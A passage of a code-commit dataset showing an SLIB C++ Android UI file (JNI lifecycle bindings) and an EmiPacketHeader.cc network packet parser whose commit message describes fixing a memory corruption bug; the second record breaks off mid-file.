_Android_onDestroyActivity);\n\tSLIB_JNI_NATIVE(onResumeActivity, \"\", \"(Landroid\/app\/Activity;)V\", _Android_onResumeActivity);\n\tSLIB_JNI_NATIVE(onPauseActivity, \"nativeOnPauseActivity\", \"(Landroid\/app\/Activity;)V\", _Android_onPauseActivity);\n\tSLIB_JNI_NATIVE(onBack, \"nativeOnBack\", \"(Landroid\/app\/Activity;)Z\", _Android_onBack);\nSLIB_JNI_END_CLASS\n\nclass _Android_Screen : public Screen\n{\npublic:\n\tJniGlobal<jobject> m_display;\n\tint m_width;\n\tint m_height;\n\npublic:\n\tstatic Ref<_Android_Screen> create(jobject display)\n\t{\n\t\tRef<_Android_Screen> ret;\n\t\tif (display) {\n\t\t\tJniLocal<jobject> size = _AndroidUtil::getDisplaySize.callObject(sl_null, display);\n\t\t\tif (size.isNotNull()) {\n\t\t\t\tret = new _Android_Screen();\n\t\t\t\tif (ret.isNotNull()) {\n\t\t\t\t\tret->m_display = display;\n\t\t\t\t\tret->m_width = _JAndroidPoint::x.get(size);\n\t\t\t\t\tret->m_height = _JAndroidPoint::y.get(size);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn ret;\n\t}\n\npublic:\n \/\/ override\n\tUIRect getRegion()\n\t{\n\t\tUIRect ret;\n\t\tret.left = 0;\n\t\tret.top = 0;\n\t\tret.right = (sl_ui_pos)m_width;\n\t\tret.bottom = (sl_ui_pos)m_height;\n\t\treturn ret;\n\t}\n};\n\nRef<Screen> UI::getPrimaryScreen()\n{\n\tSLIB_STATIC_ZERO_INITIALIZED(SafeRef<Screen>, ret)\n\tif (SLIB_SAFE_STATIC_CHECK_FREED(ret)) {\n\t\treturn Ref<Screen>::null();\n\t}\n\tif (ret.isNull()) {\n\t\tjobject jactivity = Android::getCurrentActivity();\n\t\tif (jactivity) {\n\t\t\tJniLocal<jobject> display = _AndroidUtil::getDefaultDisplay.callObject(sl_null, jactivity);\n\t\t\tret = _Android_Screen::create(display);\n\t\t}\n\t}\n\treturn ret;\n}\n\nRef<Screen> UI::getFocusedScreen()\n{\n\treturn UI::getPrimaryScreen();\n}\n\nList< Ref<Screen> > UI::getScreens()\n{\n\tList< Ref<Screen> > ret;\n\tRef<Screen> screen = UI::getPrimaryScreen();\n\tif (screen.isNotNull()) {\n\t\tret.add(screen);\n\t}\n\treturn ret;\n}\n\nvoid UI::openURL(String url) {\n\tjobject jactivity = Android::getCurrentActivity();\n\tif (jactivity) {\n\t\tJniLocal<jstring> jurl = Jni::getJniString(url);\n\t\t_AndroidUtil::openURL(jactivity, jurl);\n\t}\n\n}\n\nsl_bool UI::isUiThread()\n{\n\treturn _AndroidUiThread::isUiThread.callBoolean(sl_null) != 0;\n}\n\nSLIB_SAFE_STATIC_GETTER(Queue<Callback>, _AndroidUi_getDispatchQueue);\n\nvoid UI::dispatchToUiThread(const Callback& callback)\n{\n\tif (callback.isNotNull()) {\n\t\tQueue<Callback>* queue = _AndroidUi_getDispatchQueue();\n\t\tif (queue) {\n\t\t\tqueue->push(callback);\n\t\t\t_AndroidUiThread::dispatch.call(sl_null);\n\t\t}\n\t}\n}\n\nvoid _AndroidUiThread_runDispatchCallback(JNIEnv* env, jobject _this)\n{\n\tQueue<Callback>* queue = _AndroidUi_getDispatchQueue();\n\tif (queue) {\n\t\tCallback callback;\n\t\twhile (queue->pop(&callback)) {\n\t\t\tcallback();\n\t\t}\n\t}\n}\n\nvoid UIPlatform::runLoop(sl_uint32 level)\n{\n\t_AndroidUiThread::runLoop.call(sl_null);\n}\n\nvoid UIPlatform::quitLoop()\n{\n\t_AndroidUiThread::quitLoop.call(sl_null);\n}\n\nstatic Ref<UIApp> _g_mobile_app;\nvoid UIPlatform::runApp()\n{\n\t_g_mobile_app = UIApp::getApp();\n}\n\nvoid UIPlatform::quitApp()\n{\n}\n\nvoid _Android_onCreateActivity(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"Created\");\n\tAndroid::setCurrentActivity(activity);\n\tRef<UIApp> app = UIApp::getApp();\n\tif (app.isNotNull()) {\n\t\tstatic sl_bool flagStartApp = sl_false;\n\t\tif (! flagStartApp) {\n\t\t\tflagStartApp = sl_true;\n\t\t\tUIApp::dispatchStartToApp();\n\t\t}\n\t\tMobileApp::dispatchCreateActivityToApp();\n\t}\n}\n\nvoid _Android_onDestroyActivity(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"Destroyed\");\n\tMobileApp::dispatchDestroyActivityToApp();\n}\n\nvoid _Android_onResumeActivity(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"Resumed\");\n\tAndroid::setCurrentActivity(activity);\n\tMobileApp::dispatchResumeToApp();\n}\n\nvoid _Android_onPauseActivity(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"Paused\");\n\tMobileApp::dispatchPauseToApp();\n}\n\njboolean _Android_onBack(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"BackPressed\");\n\treturn (jboolean)(MobileApp::dispatchBackToApp());\n}\n\nSLIB_UI_NAMESPACE_END\n\n#endif\n<commit_msg>Minor fixes<commit_after>#include \"..\/..\/..\/inc\/slib\/core\/definition.h\"\n\n#if defined(SLIB_PLATFORM_IS_ANDROID)\n\n#include \"..\/..\/..\/inc\/slib\/ui\/core.h\"\n\n#include \"..\/..\/..\/inc\/slib\/ui\/screen.h\"\n#include \"..\/..\/..\/inc\/slib\/ui\/platform.h\"\n#include \"..\/..\/..\/inc\/slib\/ui\/mobile_app.h\"\n#include \"..\/..\/..\/inc\/slib\/core\/map.h\"\n#include \"..\/..\/..\/inc\/slib\/core\/io.h\"\n#include \"..\/..\/..\/inc\/slib\/core\/log.h\"\n#include \"..\/..\/..\/inc\/slib\/core\/safe_static.h\"\n\nSLIB_UI_NAMESPACE_BEGIN\n\nSLIB_JNI_BEGIN_CLASS(_JAndroidPoint, \"android\/graphics\/Point\")\n\tSLIB_JNI_INT_FIELD(x);\n\tSLIB_JNI_INT_FIELD(y);\nSLIB_JNI_END_CLASS\n\nSLIB_JNI_BEGIN_CLASS(_AndroidUtil, \"slib\/platform\/android\/ui\/Util\")\n\tSLIB_JNI_STATIC_METHOD(getDefaultDisplay, \"getDefaultDisplay\", \"(Lslib\/platform\/android\/SlibActivity;)Landroid\/view\/Display;\");\n\tSLIB_JNI_STATIC_METHOD(getDisplaySize, \"getDisplaySize\", \"(Landroid\/view\/Display;)Landroid\/graphics\/Point;\");\n\tSLIB_JNI_STATIC_METHOD(openURL, \"openURL\", \"(Lslib\/platform\/android\/SlibActivity;Landroid\/view\/View;Ljava\/lang\/String;)V\");\nSLIB_JNI_END_CLASS\n\nvoid _AndroidUiThread_runDispatchCallback(JNIEnv* env, jobject _this);\n\nSLIB_JNI_BEGIN_CLASS(_AndroidUiThread, \"slib\/platform\/android\/ui\/UiThread\")\n\tSLIB_JNI_STATIC_METHOD(isUiThread, \"isUiThread\", \"()Z\");\n\tSLIB_JNI_STATIC_METHOD(dispatch, \"dispatch\", \"()V\");\n\tSLIB_JNI_STATIC_METHOD(runLoop, \"runLoop\", \"()V\");\n\tSLIB_JNI_STATIC_METHOD(quitLoop, \"quitLoop\", \"()V\");\n\n\tSLIB_JNI_NATIVE(nativeDispatchCallback, \"nativeDispatchCallback\", \"()V\", _AndroidUiThread_runDispatchCallback);\nSLIB_JNI_END_CLASS\n\nvoid _Android_onCreateActivity(JNIEnv* env, jobject _this, jobject activity);\nvoid _Android_onDestroyActivity(JNIEnv* env, jobject _this, jobject activity);\nvoid _Android_onResumeActivity(JNIEnv* env, jobject _this, jobject activity);\nvoid _Android_onPauseActivity(JNIEnv* env, jobject _this, jobject activity);\njboolean _Android_onBack(JNIEnv* env, jobject _this, jobject activity);\n\nSLIB_JNI_BEGIN_CLASS(_Android, \"slib\/platform\/android\/Android\")\n\tSLIB_JNI_NATIVE(onCreateActivity, \"nativeOnCreateActivity\", \"(Landroid\/app\/Activity;)V\", _Android_onCreateActivity);\n\tSLIB_JNI_NATIVE(onDestroyActivity, \"nativeOnDestnativeOnResumeActivityroyActivity\", \"(Landroid\/app\/Activity;)V\", _Android_onDestroyActivity);\n\tSLIB_JNI_NATIVE(onResumeActivity, \"\", \"(Landroid\/app\/Activity;)V\", _Android_onResumeActivity);\n\tSLIB_JNI_NATIVE(onPauseActivity, \"nativeOnPauseActivity\", \"(Landroid\/app\/Activity;)V\", _Android_onPauseActivity);\n\tSLIB_JNI_NATIVE(onBack, \"nativeOnBack\", \"(Landroid\/app\/Activity;)Z\", _Android_onBack);\nSLIB_JNI_END_CLASS\n\nclass _Android_Screen : public Screen\n{\npublic:\n\tJniGlobal<jobject> m_display;\n\tint m_width;\n\tint m_height;\n\npublic:\n\tstatic Ref<_Android_Screen> create(jobject display)\n\t{\n\t\tRef<_Android_Screen> ret;\n\t\tif (display) {\n\t\t\tJniLocal<jobject> size = _AndroidUtil::getDisplaySize.callObject(sl_null, display);\n\t\t\tif (size.isNotNull()) {\n\t\t\t\tret = new _Android_Screen();\n\t\t\t\tif (ret.isNotNull()) {\n\t\t\t\t\tret->m_display = display;\n\t\t\t\t\tret->m_width = _JAndroidPoint::x.get(size);\n\t\t\t\t\tret->m_height = _JAndroidPoint::y.get(size);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn ret;\n\t}\n\npublic:\n \/\/ override\n\tUIRect getRegion()\n\t{\n\t\tUIRect ret;\n\t\tret.left = 0;\n\t\tret.top = 0;\n\t\tret.right = (sl_ui_pos)m_width;\n\t\tret.bottom = (sl_ui_pos)m_height;\n\t\treturn ret;\n\t}\n};\n\nRef<Screen> UI::getPrimaryScreen()\n{\n\tSLIB_STATIC_ZERO_INITIALIZED(SafeRef<Screen>, ret)\n\tif (SLIB_SAFE_STATIC_CHECK_FREED(ret)) {\n\t\treturn Ref<Screen>::null();\n\t}\n\tif (ret.isNull()) {\n\t\tjobject jactivity = Android::getCurrentActivity();\n\t\tif (jactivity) {\n\t\t\tJniLocal<jobject> display = _AndroidUtil::getDefaultDisplay.callObject(sl_null, jactivity);\n\t\t\tret = _Android_Screen::create(display);\n\t\t}\n\t}\n\treturn ret;\n}\n\nRef<Screen> UI::getFocusedScreen()\n{\n\treturn UI::getPrimaryScreen();\n}\n\nList< Ref<Screen> > UI::getScreens()\n{\n\tList< Ref<Screen> > ret;\n\tRef<Screen> screen = UI::getPrimaryScreen();\n\tif (screen.isNotNull()) {\n\t\tret.add(screen);\n\t}\n\treturn ret;\n}\n\nvoid UI::openURL(String url) {\n\tjobject jactivity = Android::getCurrentActivity();\n\tif (jactivity) {\n\t\tJniLocal<jstring> jurl = Jni::getJniString(url);\n\t\t_AndroidUtil::openURL(jactivity, jurl);\n\t}\n\n}\n\nsl_bool UI::isUiThread()\n{\n\treturn _AndroidUiThread::isUiThread.callBoolean(sl_null) != 0;\n}\n\nSLIB_SAFE_STATIC_GETTER(Queue<Callback>, _AndroidUi_getDispatchQueue);\n\nvoid UI::dispatchToUiThread(const Callback& callback)\n{\n\tif (callback.isNotNull()) {\n\t\tQueue<Callback>* queue = _AndroidUi_getDispatchQueue();\n\t\tif (queue) {\n\t\t\tqueue->push(callback);\n\t\t\t_AndroidUiThread::dispatch.call(sl_null);\n\t\t}\n\t}\n}\n\nvoid _AndroidUiThread_runDispatchCallback(JNIEnv* env, jobject _this)\n{\n\tQueue<Callback>* queue = _AndroidUi_getDispatchQueue();\n\tif (queue) {\n\t\tCallback callback;\n\t\twhile (queue->pop(&callback)) {\n\t\t\tcallback();\n\t\t}\n\t}\n}\n\nvoid UIPlatform::runLoop(sl_uint32 level)\n{\n\t_AndroidUiThread::runLoop.call(sl_null);\n}\n\nvoid UIPlatform::quitLoop()\n{\n\t_AndroidUiThread::quitLoop.call(sl_null);\n}\n\nstatic Ref<UIApp> _g_mobile_app;\nvoid UIPlatform::runApp()\n{\n\t_g_mobile_app = UIApp::getApp();\n}\n\nvoid UIPlatform::quitApp()\n{\n}\n\nvoid _Android_onCreateActivity(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"Created\");\n\tAndroid::setCurrentActivity(activity);\n\tRef<UIApp> app = UIApp::getApp();\n\tif (app.isNotNull()) {\n\t\tstatic sl_bool flagStartApp = sl_false;\n\t\tif (! flagStartApp) {\n\t\t\tflagStartApp = sl_true;\n\t\t\tUIApp::dispatchStartToApp();\n\t\t}\n\t\tMobileApp::dispatchCreateActivityToApp();\n\t}\n}\n\nvoid _Android_onDestroyActivity(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"Destroyed\");\n\tMobileApp::dispatchDestroyActivityToApp();\n}\n\nvoid _Android_onResumeActivity(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"Resumed\");\n\tAndroid::setCurrentActivity(activity);\n\tMobileApp::dispatchResumeToApp();\n}\n\nvoid _Android_onPauseActivity(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"Paused\");\n\tMobileApp::dispatchPauseToApp();\n}\n\njboolean _Android_onBack(JNIEnv* env, jobject _this, jobject activity)\n{\n\tSLIB_LOG(\"Activity\", \"BackPressed\");\n\treturn (jboolean)(MobileApp::dispatchBackToApp());\n}\n\nSLIB_UI_NAMESPACE_END\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ EmiPacketHeader.cc\n\/\/ rock\n\/\/\n\/\/ Created by Per Eckerdal on 2012-05-10.\n\/\/ Copyright (c) 2012 __MyCompanyName__. All rights reserved.\n\/\/\n\n#include \"EmiPacketHeader.h\"\n\n#include \"EmiNetUtil.h\"\n\n#include <cstring>\n#include <algorithm>\n\ninline static void extractFlagsAndSize(EmiPacketFlags flags,\n EmiPacketExtraFlags extraFlags,\n bool *hasSequenceNumber,\n bool *hasAck,\n bool *hasNak,\n bool *hasLinkCapacity,\n bool *hasArrivalRate, \n bool *hasRttRequest,\n bool *hasRttResponse,\n size_t *fillerSizePtr, \/\/ Can be NULL\n size_t *expectedSize) {\n size_t fillerSize = 0;\n \n *hasSequenceNumber = !!(flags & EMI_SEQUENCE_NUMBER_PACKET_FLAG);\n *hasAck = !!(flags & EMI_ACK_PACKET_FLAG);\n *hasNak = !!(flags & EMI_NAK_PACKET_FLAG);\n *hasLinkCapacity = !!(flags & EMI_LINK_CAPACITY_PACKET_FLAG);\n *hasArrivalRate = !!(flags & EMI_ARRIVAL_RATE_PACKET_FLAG);\n *hasRttRequest = !!(flags & EMI_RTT_REQUEST_PACKET_FLAG);\n *hasRttResponse = !!(flags & EMI_RTT_RESPONSE_PACKET_FLAG);\n bool hasExtraFlags = !!(flags & EMI_EXTRA_FLAGS_PACKET_FLAG);\n \n \/\/ 1 for the flags byte\n *expectedSize = sizeof(EmiPacketFlags);\n \n if (hasExtraFlags) {\n *expectedSize += sizeof(EmiPacketExtraFlags);\n \n if (flags & EMI_1_BYTE_FILLER_EXTRA_PACKET_FLAG) {\n fillerSize = 1;\n }\n else if (flags & EMI_2_BYTE_FILLER_EXTRA_PACKET_FLAG) {\n fillerSize = 2;\n }\n else {\n fillerSize = 0;\n }\n \n *expectedSize += fillerSize;\n }\n \n if (fillerSizePtr) {\n *fillerSizePtr = fillerSize;\n }\n \n *expectedSize += (*hasSequenceNumber ? EMI_PACKET_SEQUENCE_NUMBER_LENGTH : 0);\n *expectedSize += (*hasAck ? EMI_PACKET_SEQUENCE_NUMBER_LENGTH : 0);\n *expectedSize += (*hasNak ? EMI_PACKET_SEQUENCE_NUMBER_LENGTH : 0);\n *expectedSize += (*hasLinkCapacity ? sizeof(float) : 0);\n *expectedSize += (*hasArrivalRate ? sizeof(float) : 0);\n *expectedSize += (*hasRttResponse ? EMI_PACKET_SEQUENCE_NUMBER_LENGTH+sizeof(uint8_t) : 0);\n}\n\nEmiPacketHeader::EmiPacketHeader() :\nflags(0),\nsequenceNumber(0),\nack(0),\nnak(0),\nlinkCapacity(0),\narrivalRate(0),\nrttResponse(0),\nrttResponseDelay(0) {}\n\nEmiPacketHeader::~EmiPacketHeader() {}\n\nbool EmiPacketHeader::parse(const uint8_t *buf, size_t bufSize, EmiPacketHeader *header, size_t *headerLength) {\n if (0 >= bufSize) {\n return false;\n }\n \n EmiPacketFlags flags = buf[0];\n \n EmiPacketExtraFlags extraFlags = (EmiPacketExtraFlags) 0;\n if (bufSize >= 1) {\n extraFlags = (EmiPacketExtraFlags) buf[1];\n }\n \n bool hasSequenceNumber, hasAck, hasNak, hasLinkCapacity;\n bool hasArrivalRate, hasRttRequest, hasRttResponse;\n size_t expectedSize, fillerSize;\n extractFlagsAndSize(flags,\n extraFlags,\n &hasSequenceNumber,\n &hasAck,\n &hasNak,\n &hasLinkCapacity,\n &hasArrivalRate, \n &hasRttRequest,\n &hasRttResponse,\n &fillerSize,\n &expectedSize);\n \n if (2 == fillerSize) {\n \/\/ A 2 byte filler size means that the packet contains a 16 bit\n \/\/ unsigned integer which specifies padding\n if (4 > bufSize) {\n return false;\n }\n uint16_t twoByteFillerSize = ntohs(*((uint16_t *)(buf+2)));\n fillerSize += twoByteFillerSize;\n expectedSize += twoByteFillerSize;\n }\n \n if (bufSize < expectedSize) {\n return false;\n }\n \n header->flags = flags;\n header->sequenceNumber = 0;\n header->ack = 0;\n header->nak = 0;\n header->linkCapacity = 0.0f;\n header->arrivalRate = 0.0f;\n header->rttResponse = 0;\n header->rttResponseDelay = 0;\n \n const uint8_t *bufCur = buf+sizeof(header->flags);\n \n if (flags & EMI_EXTRA_FLAGS_PACKET_FLAG) {\n bufCur += sizeof(EmiPacketExtraFlags);\n bufCur += fillerSize;\n }\n \n if (hasSequenceNumber) {\n header->sequenceNumber = EmiNetUtil::read24(bufCur);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasAck) {\n header->ack = EmiNetUtil::read24(bufCur);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasNak) {\n header->nak = EmiNetUtil::read24(bufCur);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasLinkCapacity) {\n uint32_t linkCapacityInt = ntohl(*reinterpret_cast<const uint32_t *>(bufCur));\n header->linkCapacity = *reinterpret_cast<float *>(&linkCapacityInt);\n bufCur += sizeof(header->linkCapacity);\n }\n \n if (hasArrivalRate) {\n uint32_t arrivalRateInt = ntohl(*reinterpret_cast<const uint32_t *>(bufCur));\n header->arrivalRate = *reinterpret_cast<float *>(&arrivalRateInt);\n bufCur += sizeof(header->arrivalRate);\n }\n \n if (hasRttResponse) {\n header->rttResponse = EmiNetUtil::read24(bufCur);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n \n header->rttResponseDelay = *bufCur;\n bufCur += sizeof(header->rttResponseDelay);\n }\n \n if (headerLength) {\n *headerLength = expectedSize;\n }\n \n return true;\n}\n\nbool EmiPacketHeader::write(uint8_t *buf, size_t bufSize, const EmiPacketHeader& header, size_t *headerLength) {\n if (0 >= bufSize) {\n return false;\n }\n \n bool hasSequenceNumber, hasAck, hasNak, hasLinkCapacity;\n bool hasArrivalRate, hasRttRequest, hasRttResponse;\n size_t expectedSize;\n extractFlagsAndSize(header.flags,\n (EmiPacketExtraFlags)0,\n &hasSequenceNumber,\n &hasAck,\n &hasNak,\n &hasLinkCapacity,\n &hasArrivalRate, \n &hasRttRequest,\n &hasRttResponse,\n \/*fillerSize:*\/NULL,\n &expectedSize);\n \n if (bufSize < expectedSize) {\n return false;\n }\n \n memset(buf, 0, expectedSize);\n buf[0] = header.flags;\n \n uint8_t *bufCur = buf+sizeof(EmiPacketFlags);\n \n if (hasSequenceNumber) {\n EmiNetUtil::write24(bufCur, header.sequenceNumber);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasAck) {\n EmiNetUtil::write24(bufCur, header.ack);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasNak) {\n EmiNetUtil::write24(bufCur, header.nak);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasLinkCapacity) {\n *((int32_t *)bufCur) = htonl(*reinterpret_cast<const uint32_t *>(&header.linkCapacity));\n bufCur += sizeof(header.linkCapacity);\n }\n \n if (hasArrivalRate) {\n *((int32_t *)bufCur) = htonl(*reinterpret_cast<const uint32_t *>(&header.arrivalRate));\n bufCur += sizeof(header.arrivalRate);\n }\n \n if (hasRttResponse) {\n EmiNetUtil::write24(bufCur, header.rttResponse);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n \n *bufCur = header.rttResponseDelay;\n bufCur += sizeof(header.rttResponseDelay);\n }\n \n if (headerLength) {\n *headerLength = expectedSize;\n }\n \n return true;\n}\n\nbool EmiPacketHeader::writeEmpty(uint8_t *buf, size_t bufSize, size_t *headerLength) {\n if (0 >= bufSize) {\n return false;\n }\n \n *buf = 0;\n *headerLength = 1;\n \n return true;\n}\n\nvoid EmiPacketHeader::addFillerBytes(uint8_t *buf, size_t packetSize, uint16_t fillerSize) {\n ASSERT(1 <= packetSize);\n \n if (0 == fillerSize) {\n \/\/ We don't need to do anything\n return;\n }\n \n \/\/ Move the packet data\n std::copy_backward(buf+1, buf+packetSize, buf+packetSize+fillerSize);\n \n \/\/ Make sure we have the extra flags byte\n if (!(buf[0] & EMI_EXTRA_FLAGS_PACKET_FLAG)) {\n buf[0] |= EMI_EXTRA_FLAGS_PACKET_FLAG;\n buf[1] = 0;\n \n \/\/ Decrement the filler size here because by adding\n \/\/ the extra flags byte we have already increased\n \/\/ the size of the packet by one.\n fillerSize -= sizeof(EmiPacketExtraFlags);\n }\n \n if (0 == fillerSize) {\n \/\/ We're done. This happens when fillerSize was 1 and\n \/\/ the packet did not already contain the extra flags\n \/\/ byte\n }\n else if (1 == fillerSize) {\n buf[1] |= EMI_1_BYTE_FILLER_EXTRA_PACKET_FLAG;\n buf[2] = 0;\n }\n else {\n buf[1] |= EMI_2_BYTE_FILLER_EXTRA_PACKET_FLAG;\n \n *((uint16_t *)(buf+2)) = htons(fillerSize - 2);\n \n memset(buf+4, 0, fillerSize-2);\n }\n}\n<commit_msg>Fixed a fairly extreme memory corruption bug found with Valgrind. EmiPacketHeader::addFillerBytes would zero out almost 64kb when the fillerSize parameter was 1, 2 or 3.<commit_after>\/\/\n\/\/ EmiPacketHeader.cc\n\/\/ rock\n\/\/\n\/\/ Created by Per Eckerdal on 2012-05-10.\n\/\/ Copyright (c) 2012 __MyCompanyName__. All rights reserved.\n\/\/\n\n#include \"EmiPacketHeader.h\"\n\n#include \"EmiNetUtil.h\"\n\n#include <cstring>\n#include <algorithm>\n\ninline static void extractFlagsAndSize(EmiPacketFlags flags,\n EmiPacketExtraFlags extraFlags,\n bool *hasSequenceNumber,\n bool *hasAck,\n bool *hasNak,\n bool *hasLinkCapacity,\n bool *hasArrivalRate, \n bool *hasRttRequest,\n bool *hasRttResponse,\n size_t *fillerSizePtr, \/\/ Can be NULL\n size_t *expectedSize) {\n size_t fillerSize = 0;\n \n *hasSequenceNumber = !!(flags & EMI_SEQUENCE_NUMBER_PACKET_FLAG);\n *hasAck = !!(flags & EMI_ACK_PACKET_FLAG);\n *hasNak = !!(flags & EMI_NAK_PACKET_FLAG);\n *hasLinkCapacity = !!(flags & EMI_LINK_CAPACITY_PACKET_FLAG);\n *hasArrivalRate = !!(flags & EMI_ARRIVAL_RATE_PACKET_FLAG);\n *hasRttRequest = !!(flags & EMI_RTT_REQUEST_PACKET_FLAG);\n *hasRttResponse = !!(flags & EMI_RTT_RESPONSE_PACKET_FLAG);\n bool hasExtraFlags = !!(flags & EMI_EXTRA_FLAGS_PACKET_FLAG);\n \n \/\/ 1 for the flags byte\n *expectedSize = sizeof(EmiPacketFlags);\n \n if (hasExtraFlags) {\n *expectedSize += sizeof(EmiPacketExtraFlags);\n \n if (flags & EMI_1_BYTE_FILLER_EXTRA_PACKET_FLAG) {\n fillerSize = 1;\n }\n else if (flags & EMI_2_BYTE_FILLER_EXTRA_PACKET_FLAG) {\n fillerSize = 2;\n }\n else {\n fillerSize = 0;\n }\n \n *expectedSize += fillerSize;\n }\n \n if (fillerSizePtr) {\n *fillerSizePtr = fillerSize;\n }\n \n *expectedSize += (*hasSequenceNumber ? EMI_PACKET_SEQUENCE_NUMBER_LENGTH : 0);\n *expectedSize += (*hasAck ? EMI_PACKET_SEQUENCE_NUMBER_LENGTH : 0);\n *expectedSize += (*hasNak ? EMI_PACKET_SEQUENCE_NUMBER_LENGTH : 0);\n *expectedSize += (*hasLinkCapacity ? sizeof(float) : 0);\n *expectedSize += (*hasArrivalRate ? sizeof(float) : 0);\n *expectedSize += (*hasRttResponse ? EMI_PACKET_SEQUENCE_NUMBER_LENGTH+sizeof(uint8_t) : 0);\n}\n\nEmiPacketHeader::EmiPacketHeader() :\nflags(0),\nsequenceNumber(0),\nack(0),\nnak(0),\nlinkCapacity(0),\narrivalRate(0),\nrttResponse(0),\nrttResponseDelay(0) {}\n\nEmiPacketHeader::~EmiPacketHeader() {}\n\nbool EmiPacketHeader::parse(const uint8_t *buf, size_t bufSize, EmiPacketHeader *header, size_t *headerLength) {\n if (0 >= bufSize) {\n return false;\n }\n \n EmiPacketFlags flags = buf[0];\n \n EmiPacketExtraFlags extraFlags = (EmiPacketExtraFlags) 0;\n if (bufSize >= 1) {\n extraFlags = (EmiPacketExtraFlags) buf[1];\n }\n \n bool hasSequenceNumber, hasAck, hasNak, hasLinkCapacity;\n bool hasArrivalRate, hasRttRequest, hasRttResponse;\n size_t expectedSize, fillerSize;\n extractFlagsAndSize(flags,\n extraFlags,\n &hasSequenceNumber,\n &hasAck,\n &hasNak,\n &hasLinkCapacity,\n &hasArrivalRate, \n &hasRttRequest,\n &hasRttResponse,\n &fillerSize,\n &expectedSize);\n \n if (2 == fillerSize) {\n \/\/ A 2 byte filler size means that the packet contains a 16 bit\n \/\/ unsigned integer which specifies padding\n if (4 > bufSize) {\n return false;\n }\n uint16_t twoByteFillerSize = ntohs(*((uint16_t *)(buf+2)));\n fillerSize += twoByteFillerSize;\n expectedSize += twoByteFillerSize;\n }\n \n if (bufSize < expectedSize) {\n return false;\n }\n \n header->flags = flags;\n header->sequenceNumber = 0;\n header->ack = 0;\n header->nak = 0;\n header->linkCapacity = 0.0f;\n header->arrivalRate = 0.0f;\n header->rttResponse = 0;\n header->rttResponseDelay = 0;\n \n const uint8_t *bufCur = buf+sizeof(header->flags);\n \n if (flags & EMI_EXTRA_FLAGS_PACKET_FLAG) {\n bufCur += sizeof(EmiPacketExtraFlags);\n bufCur += fillerSize;\n }\n \n if (hasSequenceNumber) {\n header->sequenceNumber = EmiNetUtil::read24(bufCur);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasAck) {\n header->ack = EmiNetUtil::read24(bufCur);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasNak) {\n header->nak = EmiNetUtil::read24(bufCur);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasLinkCapacity) {\n uint32_t linkCapacityInt = ntohl(*reinterpret_cast<const uint32_t *>(bufCur));\n header->linkCapacity = *reinterpret_cast<float *>(&linkCapacityInt);\n bufCur += sizeof(header->linkCapacity);\n }\n \n if (hasArrivalRate) {\n uint32_t arrivalRateInt = ntohl(*reinterpret_cast<const uint32_t *>(bufCur));\n header->arrivalRate = *reinterpret_cast<float *>(&arrivalRateInt);\n bufCur += sizeof(header->arrivalRate);\n }\n \n if (hasRttResponse) {\n header->rttResponse = EmiNetUtil::read24(bufCur);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n \n header->rttResponseDelay = *bufCur;\n bufCur += sizeof(header->rttResponseDelay);\n }\n \n if (headerLength) {\n *headerLength = expectedSize;\n }\n \n return true;\n}\n\nbool EmiPacketHeader::write(uint8_t *buf, size_t bufSize, const EmiPacketHeader& header, size_t *headerLength) {\n if (0 >= bufSize) {\n return false;\n }\n \n bool hasSequenceNumber, hasAck, hasNak, hasLinkCapacity;\n bool hasArrivalRate, hasRttRequest, hasRttResponse;\n size_t expectedSize;\n extractFlagsAndSize(header.flags,\n (EmiPacketExtraFlags)0,\n &hasSequenceNumber,\n &hasAck,\n &hasNak,\n &hasLinkCapacity,\n &hasArrivalRate, \n &hasRttRequest,\n &hasRttResponse,\n \/*fillerSize:*\/NULL,\n &expectedSize);\n \n if (bufSize < expectedSize) {\n return false;\n }\n \n memset(buf, 0, expectedSize);\n buf[0] = header.flags;\n \n uint8_t *bufCur = buf+sizeof(EmiPacketFlags);\n \n if (hasSequenceNumber) {\n EmiNetUtil::write24(bufCur, header.sequenceNumber);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasAck) {\n EmiNetUtil::write24(bufCur, header.ack);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasNak) {\n EmiNetUtil::write24(bufCur, header.nak);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n }\n \n if (hasLinkCapacity) {\n *((int32_t *)bufCur) = htonl(*reinterpret_cast<const uint32_t *>(&header.linkCapacity));\n bufCur += sizeof(header.linkCapacity);\n }\n \n if (hasArrivalRate) {\n *((int32_t *)bufCur) = htonl(*reinterpret_cast<const uint32_t *>(&header.arrivalRate));\n bufCur += 